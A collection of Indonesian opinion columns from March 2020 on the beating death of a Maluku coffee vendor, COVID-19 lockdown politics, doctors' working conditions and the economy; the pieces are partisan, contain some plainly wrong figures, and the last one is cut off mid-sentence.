By Ikhsan Tualeka Jakarta FNN – Rabu (18/03), Sama sekali beta seng mengenal atau pernah bertemu dengan anak muda ini. Tetapi dia adalah korban kesekian dari anak-anak muda Maluku yang mati sia-sia di perantauan. Mati ketika sedang menjual kopi keliling di jalanan. Mati karena harus meninggalkan kampung atau daerahnya yang miskin dan banyak pengangguran. Padahal daerahnya kaya akan sumber daya alam. Mati karena tak mampu bersaing akibat indeks pembangunan manusia yang rendah. Mati karena stigma orang Ambon (Maluku.red) adalah preman. Iya, tanpa bermaksud menggeneralisir. Tetapi sangat mungkin Jhon Titaley sang penjual kopi keliling di Mall Tangerang City yang meninggal, 16 Maret 2020 adalah dampak dari ketertinggalan selama ini. Ketertinggalan yang harus mendesaknya berjualan kopi dari gerobak butut hingga menemui ajal. Padahal ikan di Ambon kemarin sampai naik ke daratan. Jhon Titaley meninggal karena dianiaya oleh oknom anggota TNI dan oknom Anggota Pemuda Pancasila, hingga tak berdaya. Video pemukulan terhadap Titaley pun beredar luas di media sosial. Titaley yang sendirian tanpa perlawanan. Dia dipukul. diinjak dan ditendang hingga tak berdaya. Orang-orang yang ada di sekitar, nampak hanya menonton saja. Setelah selesai melakukan penganiayaan terhadap Titaley, para pelaku akhirnya melarikan diri. Meninggalkan Titaley terkapar. Beruntung, karena lokasi penganiayaan berada tepat di depan Mall Tangerang City. Saat itu karyawan ada yang menolong korban, serta melarikannya ke Rumah Sakit Umum Kota Tangerang untuk mendapatkan pertolongan pertama. Sayang, nyawa Titaley tak tertolong. Dia akhirnya meninggalkan istri dan anaknya yang masih kecil. Sebelum aksi pengeroyokan terhadap Titaley, ada bentrok yang terjadi antara kelompok Ali dan anak buahnya yang berasal dari Ambon dengan oknom anggota TNI di salah satu kafe di Tangerang. Beberapa jam kemudian oknom anggota TNI dan oknom Pemuda Pancasila kembali dengan beberapa rekan mereka di Mall Tangerang city. Mereka hendak mencari Ali dan anak buahnya. Namun orang yang dicari tidak ada yang kelihatan. Akhirnya Jhon Titaley sang penjual kopi keliling yang tidak tau apa-apa, menjadi sasaran penganiayaan. Sebagai bentuk luapan emosi para pelaku hanya karena Jhon Titaley berkulit hitam atau gelap. Ini kasus yang kesekian. Terlalu panjang daftarnya, hingga orang tak begitu peduli lagi bila ada kejadian yang begini. Ini juga mengingatkan beta pada pengalaman sekira tujuh tahun lalu. Juga di salah satu Mall di Tanggerang, disela-sela mengikuti pelatihan peneliti tata kolela pemerintahan. Salah satu peneliti asal Nusa Tenggara Timur ditahan oleh security Mall tersebut, dengan tuduhan pencurian. Ternyata tidak terbukti. Usut punya usut, ternyata dia ditahan karena diduga mirip dengan pelaku “Ambon” yang lolos. Lagi-lagi hanya karena kulitnya yang gelap. Kembali ke kasus yang menimpa Jhon Titaley. Sebelum dianiaya, Titaley sempat ditanya oleh para pelaku bahwa apakah kamu adalah anak buah Ali? Titaley membantah, dan mengatakan bukan bagian dari kelompok manapun. Akan tetapi mereka yang sudah dirasuki emosi, dan dalam jumlah lebih banyak, langsung mengeroyok hingga Titaley tak berdaya alias tak sadarkan diri di tempat. Setelah Titaley dilarikan ke rumah sakit, istrinya langsung menuju Polres Metro Tangerang untuk membuat laporan. Polisi kemudian dengan cepat memproses laporan tersebut dan bertindak cepat melacak identitas dan keberadaan para pelaku. Akhirnya, polisi mengantongi identitas para pelaku yang ternyata itu adalah oknom anggota TNI dan dari organisasi Pemuda Pancasila. Dini hari di Polres Metro Tanggerang,kuasa hukum dari keluarga Jhon Titaley telah berkoordinasi dengan penyidik. Untuk perkara yang terkait dengan anggota TNI, segera dilimpahkan ke Denpom Jaya I Tangerang untuk segera diproses sesuai dengan kewenangan institusi TNI. Sementara yang dari masyarakat sipil ditanggani oleh kepolisian. Kita semua tentu berharap kasus ini dapat di tangani dengan serius hingga tuntas. Semua yang terlibat harus diberikan hukuman yang setimpal. Namun ini juga jadi pelajaran bagi kita semua untuk tidak lagi menyelesaikan masalah hanya di hilir. Tetapi mau membenanahi problem harus dari hulu. Saatnya sumber daya manusia dan lapangan pekerjaan untuk orang Maluku diperhatikan. Agar tidak ada lagi orang Maluku yang menjadi korban karena stigama. Akibat dari pilihan pekerjaan yang keras dan menyerempet bahaya, hingga saudara yang tak bersalah pung menjadi korban sia-sia, hanya karena berkulit gelap dan berperawakan dari timur. RIP saudaraku Jhon Titaley. Katorang semua do’akan semoga Ale tenang di sisi Tuhan, dan keluarga, terutama istri dan anak-nya diberikan penghiburan. Bagi yang mau menyantuni korban, malam ini jenazah Titaley dipulangkan ke Ambon. Mari sama-sama kita ringankan keluarga korban, anak muda petarung hidup di ibu kota ini. Penulis adalah Pemerhati Kawasan Indonesia Timur

Surat Terbuka Dokter Tifauzia: Tahukah, Pak Presiden?

Oleh Mochamad Toha Jakarta, FNN - Yth. Presiden Indonesia Dan 271 juta Rakyat Indonesia Nasib Dokter dan Praktisi Kesehatan karena COVID-19 Tahukah Bapak Presiden Dan 271 juta Rakyat Indonesia Ada pihak paling rentan terhadap Covid-19, dan mereka, saat ini, Terpaksa mau merawat pasien Covid-19, dengan jumlah kasus, Lebih Dari Yang Dilaporkan Tahukah Bapak Presiden Dan 271 juta Rakyat Indonesia Sudah Puluhan (bahkan mungkin sudah Ratusan) Dokter, Petugas Kesehatan, dan Staf Rumah Sakit yang Sudah Positif dan atau menjadi Suspect Covid-19, di seluruh Rumah Sakit yang ditunjuk, di Jakarta, dan di berbagai Daerah di Indonesia, ada Dokter dan Perawat yang sudah meninggal karena Covid-9. Ada Profesor dan Dokter Spesialis Konsultan yang sudah koma di ICU karena Covid-19. Ada yang berbagai ruang Isolasi dengan pasien yang dirawatnya, ada yang diminta Isolasi di rumah, karena Rumah Sakit sudah kehabisan tempat isolasi. Tahukah Bapak Presiden Dan 271 juta Rakyat Indonesia Karena BPJS, Dokter Spesialis dibayar Rp 6.000 rupiah per pasien per hari, Dokter Umum dibayar Rp 2.000 rupiah per pasien perhari bahkan Residen (Calon Spesialis) yang menjadi Garda Terdepan Penanganan Covid-19 ini adalah Martir sesungguhnya, dan mereka atas nama Undang-Undang, Seseperpun Tidak Dibayar. Dengan bencana Covid-19 ini, bahkan tak ada sedikitpun insentif tambahan bagi mereka semua ini, yang bekerja 36 jam, 48 jam, bahkan 72 jam tanpa tidur, bahkan melebihi kemampuan nadi dan nafasnya. Karena itu, Tahukah Bapak Presiden Dan 271 juta Rakyat Indonesia Saat ini sudah ada mulai ada tindakan Penolakan Pasien Covid-19, dengan berbagai alasan masuk akal, ketersediaan bed (karena harus isolasi maka pasien Covid-19 ini menghabiskan 1 ward sendiri, dan pasien lain jadi kehilangan hak untuk dirawat). Dan pasien Covid-19 ini Biayanya Tidak Ditanggung BPJS!!! Catat itu baik-baik!!! Tahukah Bapak Presiden Dan 271 juta Rakyat Indonesia Apa yang terjadi kalau sampai Dokter dan Petugas Rumah Sakit Menolak Merawat Pasien Covid-19? Pasien Covid-19 akan berkeliaran di jalanan tanpa tahu harus kemana! Dan Itu Sudah Terjadi! Kondisi ini yang justru Mengharuskan #Lockdown dilakukan sesegera mungkin. Jangan Anda menunggu Jubir menyampaikan jumlah kasus melebihi 1.000 baru Bapak umumkan #Lockdown. Saat ini Angka Resmi kasus yang dilaporkan per hari Senin 16 Maret 2020 sejumlah 137 kasus. Itu artinya Angka Riil di lapangan adalah sejumlah 3.699 kasus (berdasarkan angka agregat Covid-19 sebesar 27 kali antara kasus yang terperiksa secara aktif dan kasus riil yang tidak diperiksa). Dengan angka resmi yang dilaporkan, saja, per hari ini Selasa, 17 Maret 2020, jumlah kasus resmi akan sekitar 268 kasus (dengan kasus riil berjumlah 7,836 di luar Rumah Sakit) saja saat ini, Rumah Sakit sudah pasti akan Menolak Pasien! Tahukah Bapak Presiden Dan 271 juta Rakyat Indonesia Saat ini Italia sebagai negara besar, maju, dan kaya, Dokter dan Praktisi Kesehatan, sebagian sudah mengibarkan bendera putih karena tak sanggup lagi merawat pasien dan mengetahui dirinya adalah individu yang paling rentan saat ini untuk terkena Covid-19, dan mereka telah Menyaksikan Dengan Mata Kepala Sendiri, teman-teman mereka para Dokter dan Perawat yang menderita di ruang ICU dan Isolasi. Apa yang terjadi saat ini di Italia adalah, Mereka Sudah Memilih Pasien Mana Yang Harus Mereka Rawat, dan membiarkan Pasien Yang Punya Harapan Hidup Kecil untuk meninggal dengan begitu saja. Apakah itu artinya mereka tidak punya hati nurani! Tidak! Itu adalah Protokol Penanganan Pasien Dalam Keadaan Bencana. Siapa yang punya harapan hidup lebih tinggi dia akan diprioritaskan, dan siapa yang punya harapan hidup kecil, akan dibiarkan menjemput ajal. Tahukah Bapak Presiden Dan 271 juta Rakyat Indonesia Dokter di Italia dan Jerman dan Perancis dan Inggris mampu menolak pasien, Sama Dengan Dokter di Indonesia. Tidak Sama dengan Dokter di China. Kenapa? Karena kalau sampai Dokter dan Petugas Kesehatan menolak pasien, mereka bisa ditembak! Padahal Pemerintah China sudah menggelontorkan dana 20.000 Triliun untuk penanganan Covid-19 ini. Dokter dan Petugas Kesehatan Rumah Sakit Indonesia saat ini bisa serentak menolak merawat Pasien! Kenapa? Karena sejak 5 tahun terakhir dengan penerapan BPJS, mereka ini adalah Buruh Kerja Rodi dengan bayaran menyedihkan dan kerja dengan fasilitas terbatas. Lalu masih ditambah lagi mereka mau Bapak wajibkan untuk merawat Pasien Covid-19 dengan taruhan nyawa sendiri dan keluarga? No Way! Untuk Bapak ketahui, Dan 271 juta rakyat Indonesia, Saat ini, sebagian besar Rumah Sakit di Indonesia menderita bleeding akibat defisit miliaran hingga ratusan miliaran karena BPJS ngemplang bayar. Untuk menyediakan masker yang layak pakai di Rumah Sakit saja tak ada dana dan kemampuan, bahkan saat ini Para Dokter dan petugas kesehatan terpaksa menggunakan Masker Kain yang tentu saja sangat tidak aman mencegah Covid-19. Sementara, sampai dengan hari ke 14 sejak terjadinya Pandemi Covid-19, belum ada satupun berita Pemerintah cq Kemkes siap menyediakan dana sejumlah sekian khusus untuk penanganan Covid-19. Bisakah Bapak bayangkan Dan 271 rakyat Indonesia bayangkan Orang yang berstatus Positif Covid-19 akan berkeliaran di jalanan dan rumah. Mayat-mayat bergelimpangan di Rumah Sakit, di rumah, bahkan di jalanan. Dan itu Sudah Terjadi di Italia! Negara besar dan kaya raya! Cobalah sekali ini saja 271 Rakyat Indonesia Pakailah nalar dan hati nurani Anda semua. Kalau Anda terjangkit Covid-19, dan Tidak Ada Satupun Rumah Sakit mau merawat Anda, Apa yang akan Anda lakukan? Tifauzia Tyassuma (Dokter, Peneliti, Penulis) Presiden AHLINA Institute (Diposting 05.43 WIB, 17 Maret 2020) *** Penulis wartawan senior.

Lockdown, Ada Apa Antara Jokowi dan Anies Baswedan?

Oleh Hersubeno Arief Jakarta, FNN - Selasa (17/3) Mendagri Tito Karnavian menemui Gubernur DKI Anies Baswedan. Tito mendapat tugas menyampaikan pesan khusus Presiden Jokowi : Lockdown adalah kewenangan pemerintah pusat! Kedatangan Tito ini tentu sangat menarik dan menimbulkan tafsir politik. Mengapa Presiden Jokowi harus secara khusus menyampaikan pesan itu kepada Anies? Sehari sebelumnya, Senin (16/3) dalam jumpa pers di Istana Bogor, Jokowi sudah menegaskan hal itu. "Kebijakan lockdown, baik di tingkat nasional dan tingkat daerah, adalah kebijakan pemerintah pusat,” tegasnya. Apa itu tidak cukup? Tampaknya ada kekhawatiran, instruksi Jokowi mulai tidak didengar oleh kepala daerah. Selain Jakarta, sejumlah daerah sudah mulai melakukan lockdown secara terbatas. Termasuk Solo yang dulu pernah dipimpin Jokowi. Tak lama setelah pertemuan itu, terungkap ada “pesan” lain yang disampaikan Jokowi. Tim Siaga Covid-19 DKI dirombak. Ketua Tim Siaga Covid-DKI Catur Laswanto menyatakan Tim Tanggap COVID yang telah dibentuk Pemprov DKI Jakarta diselaraskan dan disesuaikan dengan Keppres 7/2020. Namanya berubah menjadi Gugus Tugas Percepatan Penanganan COVID-19 di DKI Jakarta. Strukturnya dan komposisinya juga dirombak total. Gugus Tugas itu diketuai oleh Ketua Badan Penanggulangan Bencana Daerah (BNBD) yang dijabat oleh Sekda. Anggotanya semula hanya berisi para kepala dinas (SKPD) DKI, sekarang ditambah TNI, Polri dan Forum Komunikasi Pimpinan Daerah (Forkopimda). Apa artinya semua itu? Sebagai kepala daerah Anies tak bisa lagi bebas menentukan kebijakannya. Semuanya harus seizin pemerintah pusat. Langkah pemerintah melakukan sentralisasi penanganan pandemi global ini jelas menimbulkan pertanyaan sekaligus kekhawatiran. Ini merupakan langkah mundur! Sejak merebaknya virus corona, banyak kalangan yang meragukan dan mempertanyakan kualitas dan kemampuan pemerintah pusat. Bukan hanya dari kalangan domestik, namun juga komunitas internasional. Semuanya bersumber pada rendahnya kualitas dan kapasitas kepemimpinan Jokowi dan para pembantunya. Menganggap remeh persoalan, dengan kebijakan yang berubah-ubah. Sangat terlihat pemerintah pusat ragu-ragu, gagap bin bingung menghadapi persoalan. Sebaliknya Anies Baswedan menunjukkan kualitas dan kapasitas kepemimpinan yang kuat dan tanggap dalam menghadapi bencana. Pujian mengalir untuk Anies dan Pemprof DKI. Hal ini bila terus dibiarkan akan menimbulkan fenomena “matahari kembar.” Yang satu bersinar terang. Sementara yang satunya mulai tenggelam di balik awan gelap virus corona. Mantan Menko Perekonomian Rizal Ramli bahkan secara lugas menyebut Indonesia sebagai negara tanpa pemimpin. “A Nation Without Leader,” tegasnya mengutip pernyataan tokoh senior Jawa Barat Tjetje Hidayat Padmawinata. Dilema Jokowi Virus corona sebagaimana ditulis oleh Benjamin Bland seorang peneliti dari lembaga think tank Lowy Institute, Sidney membongkar sisi kelemahan Jokowi. “Pemerintahannya bersifat ad hoc dan pemikirannya kurang strategis,” tegas Bland. Respon awal Jokowi, tulis Bland, sangat mengkhawatirkan, sementara tindakan dan ucapan Menkes Terawan sering kontroversial. Signal buruk inilah yang ditangkap oleh publik di Indonesia maupun komunitas internasional. Semuanya jadi terang benderang. Tak bisa lagi ditutup-tutupi dengan pencitraan, apalagi pengerahan buzzer. Penyebaran virus corona dan jumlahnya penderitanya yang sangat besar di Jakarta, menjadi dilema besar bagi Jokowi. Dia dihadapkan pada pilihan sulit antara lockdown atau tidak? Pilihannya tidak sesederhana : Dimakan mati Bapak. Tidak dimakan mati Ibu! Bila mengacu kepada besarnya jumlah penduduk, potensi sebarannya yang begitu massif, keterbatasan fasilitas dan tenaga medis, sesungguhnya tidak ada pilihan lain, kecuali lockdown. At all cost. Jumlah penduduk Jakarta lebih dari 10 juta jiwa. Belum lagi bila dihitung dengan lebih dari 2 juta pekerja komuter dari Jabodetabek. Saat ini di semuapq kecamatannya telah terdapat warga yang positif corona, atau setidaknya suspect corona. Secara eksponensial penyebarannya dipastikan akan sangat besar. Jakarta bisa jadi kuburan massal. Ada yang memperkirakan jumlah korbannya bisa lebih besar dari Italia bila pemerintah salah mengantisipasinya. Sangat Mengerikan! Kementerian Kesehatan sudah mengisyaratkan akan adanya lonjakan jumlah penderita. Sudah dapat dipastikan Jakarta yang akan paling menderita. Sebaliknya bila harus melakukan lockdown, Jokowi harus sangat mempertimbangkan kalkulasi ekonomi dan anggaran negara yang terbatas. Lockdown jelas tidak sesederhana kita menutup pintu. Semuanya langsung beres. Ada cost ekonomi, sosial dan politik yang kudu dihitung cermat. Inilah ujian sesungguhnya bagi Jokowi. Bisakah dia membuktikan tudingan banyak kalangan, bahwa dia pemimpin yang tidak punya kapasitas dan kualitas, salah besar? Anda ingin dikenang oleh dunia seperti apa Pak Jokowi? Nyawa jutaan rakyat Indonesia menjadi taruhannya. End Penulis adalah Wartawan Senior.

Mengisolasi Diri Dua Minggu Itu Cost Paling Murah

Kalau anda ternyata malah sekalian positif Covid-19. Hidupmu tambah runyam. Iya kalau sembuh. Kalau tidak sembuh, lalu malah wassalam. Siapa yang paling menderita ? Keluargamu. Kalau anda kepala keluarga atau tulang punggung keluarga, berarti terputus nafkah untuk mereka. Keluargamu akan pontang-panting mencari nafkah setelah anda nggak ada. Anda juga nggak bisa lagi mendampingi anak-anak tumbuh besar. Rugi banget, banget dan banget. By Lily Bertha Kartika Jakarta FNN - Sulit sekali menjadi kompak dan bersatu dalam mengatasi situasi krisis, selama orang masih berkeras untuk ada dalam zona nyamannya. Diminta mengisolasi diri sendiri selama dua minggu di rumah saja, malah keluyuran. Diminta meliburkan karyawannya dan bekerja di rumah, kecuali pelaku bisnis tertentu, masih hitung-hitungan juga untung rugi. Ketika dilakukan pembatasan transportasi untuk tujuan mengurangi penumpukan orang yang bisa memperbesar risiko penularan, malah mau baku hantam dalam antrian. Lalu para kompor, yang bahkan ada jurnalis senior, dosen, dan kaum cendikiawan ikut meramaikan suasana dengan bilang "coba aja si pembuat kebijakan berdesakan di bus dan rasakan gimana sengsaranya. "Juga komentar, nggak pakai otak. Emang dia pikir semua bisnis bisa dikerjakan di rumah?". Padahal sebelum mengambil keputusan itu, Gubernur Anies sudah berkonsultasi dengan banyak pihak dari asosiasi profesi. mulai dari ahli kesehatan sampai pelaku bisnis. Simulasi juga sudah dilakukan. Datanya juga lengkap, sehingga dampaknya bisa diukur. Bicara soal dampak dalam satu kasus, tentu yang harus diantisipasi adalah dampak yang paling berbahaya diantara sekian banyak dampak yang timbul. Penumpukan orang bukannya tidak dipikirkan sebagai risiko. Tetapi dalam kasus Covid-19 seperti sekarang, yang lebih penting diantisipasi adalah penularan virus yang sedemikian cepatnya itu. Isolasi memang bukan keputusan untuk menyenangkan semua pihak, tetapi untuk menyelamatkan semua pihak. Kalau dihitung jangka pendek, kerugian pasti banyak, terutama waktu dan uang. Tiba-tiba semua kebiasaan berubah. Hidup menjadi tidak nyaman. Takut dan banyak ketidakpastian. Tetapi dalam jangka panjang, isolasi justru cost paling murah dibanding jika korban terus bertambah. Coba anda pikirkan. Kalau harus dirawat berminggu-minggu di rumah sakit. Berapa waktu produktivitas kerja yang terbuang? Berapa waktu yang habis untuk ngantri dan melewati semua pemeriksaan ini dan itu? Berapa biaya yang habis dan lain-lain? Anda bahkan beneran nggak bisa pergi kemanapun. Tidak bisa berinteraksi dengan keluarga. Nggak bisa meeting dengan siapapun. Bandingkan besarnya ketidaknyamanan yang hilang jika dibanding kita patuh untuk bekerja di rumah dan mengisolasi diri sementara waktu. Toh, selama isolasi sementara di rumah, kita masih bisa meeting online. Masih bisa bercengkerama dengan keluarga. Jadi, sebenarnya ini soal ego saja. Sejauh mana kita mau repot mengatur ulang bisnis. Mengatur rutinitas dan segala kenyamanan yang selama ini sudah melekat, yang kemudian dipaksa menyesuaikan dengan situasi krisis ini. Sangat ribet, bikin kesal dan tidak nyaman itu sudah pasti. Kalau memilih menyesuaikan diri dan bersabar, kondisi ini akan pulih lebih cepat. Kenyamanan kita juga berangsur akan kembali. Sementara kalau terus rewel dan manja, tidak akan banyak kondisi yang berubah, dan akan makan waktu lebih lama untuk kondisi ini pulih seperti sedia kala. Belum lagi kalau anda ternyata malah sekalian positif Covid-19. Hidupmu tambah runyam. Iya kalau sembuh. Kalau tidak sembuh, lalu malah wassalam. Siapa yang paling menderita ? Keluargamu. Kalau anda kepala keluarga atau tulang punggung keluarga, berarti terputus nafkah untuk mereka. Keluargamu akan pontang-panting mencari nafkah setelah anda nggak ada. Anda juga nggak bisa lagi mendampingi anak-anak tumbuh besar. Rugi banget, banget dan banget. Percayalah, ketika anda rewel dan menolak bekerjasama dalam situasi krisis seperti sekarang, harga yang kelak harus dibayar akan sangat mahal. Kalau saya, mendingan tinggal kalem di rumah selama dua minggu. Simpel, tetapi menyelamatkan diri sendiri dan orang banyak. Sudahlah, berhenti bermanja-manja. Gunakan saja otak untuk mikir dengan jernih. Sadari saja dengan sederhana bahwa anda sedang diselamatkan. Penulis adalah Wartawan Senior

Telat Lockdown, Apakah Indonesia Akan Seperti Itali?

By Tony Rosyid Jakarta FNN - Tidak hanya China, Itali juga parah. Sejak diumumkan tanggal 20 Pebruari, warga Itali yang positif Covid-19 terus bertambah. Ketika angka kematian akibat covid-19 tembus 230 dari 6.000 orang yang dinyatakan positif, pada tanggal 8 Maret Itali umumkan lockdown. Hanya selang 18 hari. Gimana dengan nasib ekonominya? Pasti cukup berat. Negara yang berpenduduk 16 juta orang ini semakin parah situasinya. Dalam sehari pernah ada 368 orang yang mati karena Covid-19. Per hari kemarin (16/3) sudah 1.809 orang yang meninggal dari 24.747 orang yang positif Covid-19. Setiap hari terus bertambah angkanya. Tidak saja jumlah warga yang postif Covid-19, tetapi tingkat kematiannya juga terus naik. Saat ini, karena berbagai keterbatasan rumah sakit, para dokter dipaksa untuk memilih siapa yang harus dirawat dan diprioritaskan untuk hidup, dan siapa yang dibiarkan akan mati. Menurut data, 58% pasien yang mati itu berusia di atas 80 tahun. Dan 31% di usia 70-an tahun. Maka, para dokter terpaksa memprioritaskan pasien yang muda. Apa kesalahan Itali sehingga mengalami situasi separah itu? Pertama, Itali telat lockdown. Bandingkan dengan Selandia Baru. Empat pasien ditemukan positif Covid-19, negara itu langsung mengisolasi ribuan orang. Dan Selandia Baru saat ini relatif aman dari Corona. Kedua, warga yang tak disiplin. informasi lockdown bocor sehari sebelum diumumkan. Sebagian warga di Itali Utara, tempat Covid-19 mewabah, lari dan meninggalkan wilayah. Diantara mereka yang lari ada yang positif Covid-19. Akibatnya, menular ke wilayah lain. Bagaimana dengan Indonesia? Banyak pihak menuntut agar pemerintah pusat segera ambil keputusan untuk lockdown. Langkah ini adalah cara paling konfensional. Tetapi dianggap paling efektif untuk menghadapi penyebaran Covid-19. Kenapa harus lockdown? Karena langkah penanganan yang dilakukan selama ini belum terlihat bisa menghambat dan mengurangi penyebaran Covid-19. Ini karena Pertama, tidak ada informasi yang transparan, memadai, lengkap dan terukur terkait dengan Covid-19. Pola penyebarannya dan data yang dapat memberi pertimbangan masyarakat untuk melakukan aktifitas dan mewaspadainya. Seperti apa karakter Covid-19? Bagaimana pola penyebarannya, lewat apa saja, dalam jangka waktu berapa lama, dan seterusnya? Tidak tersosialisasikan dengan baik. Yang muncul justru informasi tak resmi (bukan dari pemerintah) yang berseliweran di berbagai media social, yang akurasinya diragukan. Kedua, tidak ada panduan yang terukur dan konsisten dari pemerintah pusat terkait apa yang harus diwaspadai dan dilakukan oleh rakyat. Bahkan cenderung diserahkan kepada masing-masing daerah (Kepala Daerah). Emang virus corona itu jenis dan karakternya berbeda di setiap daerah? Ketiga, keterbatasan perlengkapan alat kesehatan yang dibutuhkan dan ruang isolasi untuk ODP dan PDP. Sampai hari ini, untuk melakukan tes Covid-19, hanya bisa dilakukan oleh Pemerintah Pusat. Sementara jumlah rumah sakit yang ditunjuk Pemerintah Pusat masih sangat terbatas. Ini jauh dari cukup untuk bisa menangani melonjaknya pasien yang datang ke rumah sakit rujukan. DKI Jakarta sudah mengajukan surat resmi untuk diijinkan melakukan tes Covid-19. Langkah DKI Jakarta besar kemungkinan akan diikuti oleh daerah-daerah lain ketika Covid-19 semakin membesar jumlah penularannya di daerah-daerah tersebut. Keempat, tingkat kedisiplinan masyarakat Indonesia tak lebih baik dari masyarakat Itali. Cenderung meremehkan dan menganggap enteng. Sikap mental seperti ini sudah direpresentasikan oleh sejumlah menteri, termasuk menteri kesehatan dan menteri perhubungan. Tentu, ini akan menjadi peluang potensial bagi Covid-19 untuk leluasa menyebar. Inilah diantara alasan kenapa keputusan lockdown menjadi sangat urgent. Jangan karena terlambat, Indonesia mengalami seperti yang dialami oleh Itali. Silahkan Pemerintah Pusat berhitung dan mempertimbangkan secara cermat. Apa saja yang terbaik untuk dilakukan bangsa ini dalam menghadapi pandemi Covid-19 ini. Tuntutan sejumlah tokoh untuk lockdown ini sangatlah obyektif. Jangan malah dituduh sebagai skenario untuk menggulingkan presiden Jokowi. Ini lucu dan amat menggelikan sekali. Banyak nyawa melayang, ada pihak-pihak yang masih terus berpikir politis. Lu saraf kali ya? Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Respons Pertama Terhadap Corona “Sangat Ngawur”

Indonesia saat ini bukan negara kaya. Sehingga jangan lakukan “macro pumping”. Jangan ada “buyback” terhadap saham-saham BUMN dan lain-lain. Amerika saja, yang negara kaya, melakukan “pumping macro” ratusan milyar dollar lewat FED. Namun ternyata hasilnya tidak effektif. Hanya kurang dua jam, index naik. Setelah dua jam, index anjlok lagi. By DR. Rizal Ramli Jakarta FNN - Pada awal Corona, respons Indonesia sangat lambat dan terlambat. Padahal di Wuhan telah terjadi pada akhir tahun 2019. Kelambatan tersebut, terutama karena “sungkan”. Takut menyinggung pihak Tiongkok. Kedua, pejabat-pejabat Indonesia mengambil sikap “self-denial” (menolak kenyataan). Akibatnya, kita kehilangan waktu selama 2,5 bulan. Kita kehilangan waktu yang sangat berharga selama 2,5 bulan. Waktu untuk scanning, monitoring dan testing potensi penularan corona. Itulah yang menyebabkan negara-negara lain seperti Australia, Singapore, termasuk World Health Organization (WHO) tidak percaya dengan statistik kasus corona di Indonesia. Respons kebijakan pertama terhadap corona sangat ngawur. Yaitu dengan rencana untuk membiayai para influencers senilai Rp72 milyar. Begitu pula dengan subsidi kepada airline untuk meningkatkan turisme. Ini bener-benar ngawur. Karena seluruh dunia mau kurangi turis asing. Indonesia malah mau tingkatkan. Kwalitas orang-orang di sekitar Jokowi payah. Barikiutnya, masih saja mengizinkan pekerja-pekerja dari Tiongkok untuk masuk Indonesia. Kebijakan ini hanya karena kepentingan bisnis pejabat-cum-penguasa. Sing eling eui. Ingat, ini kepentingan nasional. “Nora amat sih”. Sebagai bangsa, memang kita terbiasa dan sangat asyik klo membahas apa yang terjadi hari ini. Tetapi kita tidak terlatih untuk melihat dan melakukan antisipasi terhadap masa depan. Sehingga sering kali terlambat, jika menghadapi shocks global seperti corona. Pertumbuhan Ekonomi -2% Jika tidak ada corona, ekonomi Indonesia memang terus anjlok. Penyebabnya karena salah kelola. Mabok utang dan pengetatan makro ekonomi. Padahal ekonomi hanya akan tumbuh 4% tahun 2020. Kalau tindakan terhadap corona effektif dan benar, maka ekonomi hanya akan anjlok lagi -1%. Tetapi jika tidak effektif penangannya, maka ekonomi akan anjlok -2% lagi. Untuk mengurangi dampak corona terhadap ekonomi, ini waktunya utk menggeser secara radikal dengan cara melakukan realokasi APBN tahun 2020. Stop (moratorium) proyek-proyek infrastruktur besar untuk 2020. Harus berani. Jangan gengsi-gensian. Alokasikan APBN 2020 hanya untuk sektor kesehatan, makanan dan peningkatan daya beli rakyat miskin. Indonesia saat ini bukan negara kaya. Sehingga jangan lakukan “macro pumping”. Jangan ada “buyback” terhadap saham-saham BUMN dan lain-lain. Amerika saja, yang negara kaya, melakukan “pumping macro” ratusan milyar dollar lewat FED. Namun ternyata hasilnya tidak effektif. Hanya kurang dua jam, index naik. Setelah itu index anjlok lagi. Perlu belajar dari Korea Selatan. Negara ini termasuk yang paling effektif dalam menangani pandemik corona, karena mereka belajar dari kasus SARS. Mereka evaluasi apa-apa yang dianggap effektif, dan menyiapkan SOP (Standard Procedures). Ketika serangan Corona datang, sudah ada SOP yang siap-pakai. Tanpa perlu banyak rapat dan koordinasi lagi. Gunakan momentum pandemic corona ini untuk menggenjot produksi dalam negeri. Seperti pertanian, buah-buahan dan sayur-sayuran. Bantu kredit untuk bibit dan pupuk, sehingga bisa panen setiap tiga bulan. Ajak Institut Pertanian Bogor (IPB) untuk bantu peta kecocokan tanah. Jangan bisanya hanya impor, import dan impor doang. Payah amat sih. Rupiah dan IHSG Anjlok Nilai tukar rupiah makin anjlok. Sudah mencapai Rp 15.200 per dollar. Bergitu pula dengan Index Harga Saham Gabungan (IHSG) sudah anjlok, dari 6000-an ke 4500an. Penurunan ini IHGS hampir mencapai 25%. Jangan biarkan mata uang rupiah dan index terombang-ambing dengan shocks dan volatilitas yang sangat besar. Ubah flexible exchange yang selama berlaku, menjadi fixed exchange. Tetapkan di angka Rp 15.500/dollar untuk jangka waktu satu tahun. Jangan biarkan external dan internal shock dengan volatilitas yg sangat besar. Sebab bisa merusak ekonomi dan korporasi nasional. Segera bekukan dulu perdagangan saham sampai waktu yang belum ditentukan. Toh, kalau dibuka terus, akan semakin anjlok, dan akan semakin panik. Ini adalah momentum untuk tukar (swap) utang-utang Indonesia yang yield-nya sangat tinggi sekarang (7%-8%), karya “Menkeu Terbalik” yang sangat merugikan bangsa kita. Kerugian karena bond kemahalan itu anatara Rp 110-120 triliun. Padahal yield bond di Jepang danEropah negatif. Segera negosiasi swap bond. Sebab basa menghemat sekitar Rp 110 triliun. Soal penjelasan dan tindakan preventif dan kuratif dalam menghadapi corona, pujian perlu diberikan kepada Gubernur DKI Jakarta Anies Baswedan. Bravo Anies. Kerjanya jelas, terukur dan persuasif, dibandingkan pejabat-pejabat pemerintah pusat. Penulis Mantan Menko Perekonomian dan Menteri Keuangan Presiden Gus Dur

Gagalnya Kerja Intelijen Membungkam Informasi Tentang Covid-19

Intelijen juga gagal membuat propaganda melalui tangan-tangan pemandu sorak mereka . Padahal mereka berkeliaran di media sosial dan figur sosial. Kegagalan tersebut semakin menjadi kepanikan besar, ketika salah seorang Menteri Jokowi positive terjangkit wabah Covid-19. Masyarakat juga terlihat semakin panik. Karena tiba tiba saja terkejut dengan fakta bahwa di lingkaran utama Presiden, yang keamanannya dijaga dengan sangat ketat, namun bisa terkena wabah Covid-19. By Liem Han Chow Jakarta FNN - Sejak ramainya kasus Covid-19, pemerintah kita sepertinya berusaha menutupi informasi. Kenyataan ini terlihat dari simpang siur,dan tumpang tindihnya informasi yg disampaikan oleh pejabat publik kepada media massa mainstream. Kondisi inilah yang membuat masyarakat semakin khawatir. Masyarakat merasa penasaran dengan kejadian yang sesungguhnya. Bukan sembarangan upaya. Usaha pemerintah menutupi jejak kasus Covid-19 tersebut adalah upaya untuk menjaga stabilitas 